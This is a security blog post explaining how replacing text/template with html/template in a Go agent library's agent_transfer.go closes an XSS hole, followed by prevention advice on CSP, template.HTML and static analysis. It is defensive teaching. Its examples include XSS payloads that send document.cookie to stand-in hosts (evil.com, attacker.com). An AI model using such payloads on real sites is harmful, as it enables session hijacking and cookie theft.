From text/template to html/template: Closing the XSS Door in Go
Introduction
Cross-site scripting (XSS) is one of those vulnerabilities that developers often underestimate — until it's too late. It consistently ranks in the OWASP Top 10 and is responsible for countless data breaches, session hijackings, and malware distributions every year. The good news? In Go, preventing a whole class of XSS vulnerabilities can be as simple as changing a single import.
This post walks through a recent security fix where swapping text/template for html/template in a Go application closed a potential XSS vulnerability. We'll explain what went wrong, how it was fixed, and what you can do to prevent similar issues in your own codebase.
What Is This Vulnerability?
At its core, this vulnerability falls under the category of unsafe template rendering — specifically, using a template engine that does not automatically escape HTML output when rendering user-controlled data.
In Go, the standard library ships with two template packages:
| Package | Purpose | Auto-escapes HTML? |
|---|---|---|
text/template |
General-purpose text rendering | ❌ No |
html/template |
HTML document rendering | ✅ Yes |
The difference seems subtle, but it's critically important. When you render user-supplied input using text/template, that data is inserted as-is into the output. If a user submits something like:
<script>document.location='https://evil.com/steal?c='+document.cookie</script>
...and your template renders it without escaping, that script tag ends up in the HTML response — and the browser happily executes it.
The Vulnerability Explained
Technical Details
The vulnerability was flagged in internal/llminternal/agent_transfer.go, where the code imported text/template to generate HTML output. Here's the problematic import:
// ❌ BEFORE — Unsafe: no automatic HTML escaping
import (
"bytes"
"fmt"
"slices"
"text/template" // Does NOT escape HTML characters
"google.golang.org/adk/agent"
"google.golang.org/adk/internal/agent/parentmap"
)
When text/template renders a template, it treats all data as plain text — meaning special HTML characters like <, >, ", ', and & are passed through unchanged. If any of that data originates from user input (directly or indirectly), an attacker can craft input that breaks out of the intended text context and injects executable HTML or JavaScript.
How Could It Be Exploited?
Imagine a template like this:
tmpl := template.Must(template.New("response").Parse(`
<div class="agent-response">
<p>{{.UserInput}}</p>
</div>
`))
With text/template, if UserInput contains:
Hello! <img src=x onerror="fetch('https://attacker.com/exfil?data='+btoa(document.cookie))">
The output HTML would be:
<div class="agent-response">
<p>Hello! <img src=x onerror="fetch('https://attacker.com/exfil?data='+btoa(document.cookie))"></p>
</div>
The browser renders the broken image, triggers the onerror handler, and silently exfiltrates the user's cookies to an attacker-controlled server. The user sees nothing unusual.
Real-World Impact
Even though this vulnerability was rated low severity (likely due to the specific context and limited attack surface), XSS attacks can lead to:
- 🍪 Session hijacking — stealing authentication cookies to impersonate users
- 🔑 Credential theft — injecting fake login forms to capture passwords
- 🦠 Malware distribution — redirecting users to exploit kits
- 🕵️ Keylogging — capturing everything a user types on the page
- 🎭 Defacement — altering the visible content of a page
In an LLM/agent context (as suggested by the file path llminternal/agent_transfer.go), XSS could be particularly dangerous if AI-generated responses or external data sources are rendered in a web UI without proper sanitization.
The Fix
The fix was elegantly simple — a one-line change:
// ✅ AFTER — Safe: automatic context-aware HTML escaping
import (
"bytes"
"fmt"
"slices"
"html/template" // Automatically escapes HTML, CSS, JS, and URL contexts
"google.golang.org/adk/agent"
"google.golang.org/adk/internal/agent/parentmap"
)
How Does html/template Solve the Problem?
The html/template package is a context-aware template engine. It understands the structure of HTML documents and automatically applies the correct escaping based on where the data is being inserted:
| Context | Example | Escaping Applied |
|---|---|---|
| HTML element content | <p>{{.Data}}</p> |
HTML entity encoding |
| HTML attribute | <a href="{{.URL}}"> |
URL + HTML encoding |
| JavaScript string | <script>var x = "{{.Val}}"</script> |
JS string escaping |
| CSS value | <style>color: {{.Color}}</style> |
CSS escaping |
| URL parameter | <a href="/path?q={{.Query}}"> |
URL encoding |
With html/template, our malicious input from earlier would be rendered as:
<div class="agent-response">
<p>Hello! <img src=x onerror="fetch('https://attacker.com/exfil?data='+btoa(document.cookie))"></p>
</div>
The browser displays the text literally — <img src=x onerror=...> — instead of interpreting it as HTML. Attack neutralized. ✅
The html/template API Is a Drop-In Replacement
One of the best things about this fix is that html/template is API-compatible with text/template. In most cases, you only need to change the import — no other code modifications required. The same template.New(), template.Must(), template.ParseFiles(), and tmpl.Execute() calls work identically.
Prevention & Best Practices
1. Always Use html/template for HTML Output in Go
This is the golden rule. If your template output will ever be rendered in a browser, use html/template. Reserve text/template for non-HTML outputs like configuration files, email plain text, or code generation.
// ✅ For HTML output
import "html/template"
// ✅ For non-HTML output (configs, plain text, etc.)
import "text/template"
2. Never Trust User Input
Treat all external data as potentially malicious — this includes:
- Form submissions
- URL parameters and query strings
- HTTP headers
- Data from external APIs or LLMs
- Data read from databases (it may have been stored unsanitized)
3. Use template.HTML Sparingly and Carefully
html/template provides an escape hatch: the template.HTML type, which marks a string as safe HTML and bypasses escaping. Never use this with user-controlled data.
// ❌ DANGEROUS — bypasses all escaping
safeHTML := template.HTML(userInput)
// ✅ OK — only for truly trusted, hardcoded HTML
safeHTML := template.HTML("<strong>Static trusted content</strong>")
4. Implement a Content Security Policy (CSP)
Even with proper escaping, add a Content Security Policy header as a defense-in-depth measure:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
CSP tells the browser to only execute scripts from trusted sources, significantly reducing the impact of any XSS that slips through.
5. Use Static Analysis Tools
Automated tools can catch these issues before they reach production:
- Semgrep — The tool that caught this exact vulnerability (rule:
import-text-template). Run it in CI/CD pipelines. - gosec — Go-specific security scanner
- staticcheck — General Go static analysis
- govulncheck — Official Go vulnerability scanner
Add a Semgrep rule to your CI pipeline to catch text/template usage in HTML-rendering code:
# .github/workflows/security.yml
- name: Run Semgrep
uses: returntocorp/semgrep-action@v1
with:
config: >-
p/golang
p/owasp-top-ten
6. Security Standards & References
- OWASP XSS Prevention Cheat Sheet
- CWE-79: Improper Neutralization of Input During Web Page Generation
- Go
html/templatedocumentation - OWASP Top 10: A03:2021 – Injection
Conclusion
This fix is a perfect example of how a single line of code can make or break your application's security. Swapping text/template for html/template costs nothing in terms of functionality or performance, but it buys you automatic, context-aware protection against an entire class of XSS vulnerabilities.
Key takeaways:
- ✅ Always use
html/templatewhen generating HTML output in Go - ✅ Never trust user input — treat all external data as potentially malicious
- ✅ Use static analysis tools like Semgrep and gosec in your CI/CD pipeline to catch these issues automatically
- ✅ Layer your defenses — combine proper escaping with Content Security Policy headers
- ✅ Small fixes matter — even "low severity" vulnerabilities deserve attention before they're chained with other issues
Security isn't always about complex exploits and zero-days. Sometimes, the most impactful improvements come from understanding your tools, using the right library for the job, and building automated checks that catch these mistakes before they ship.
Stay secure, and keep shipping safe code. 🔐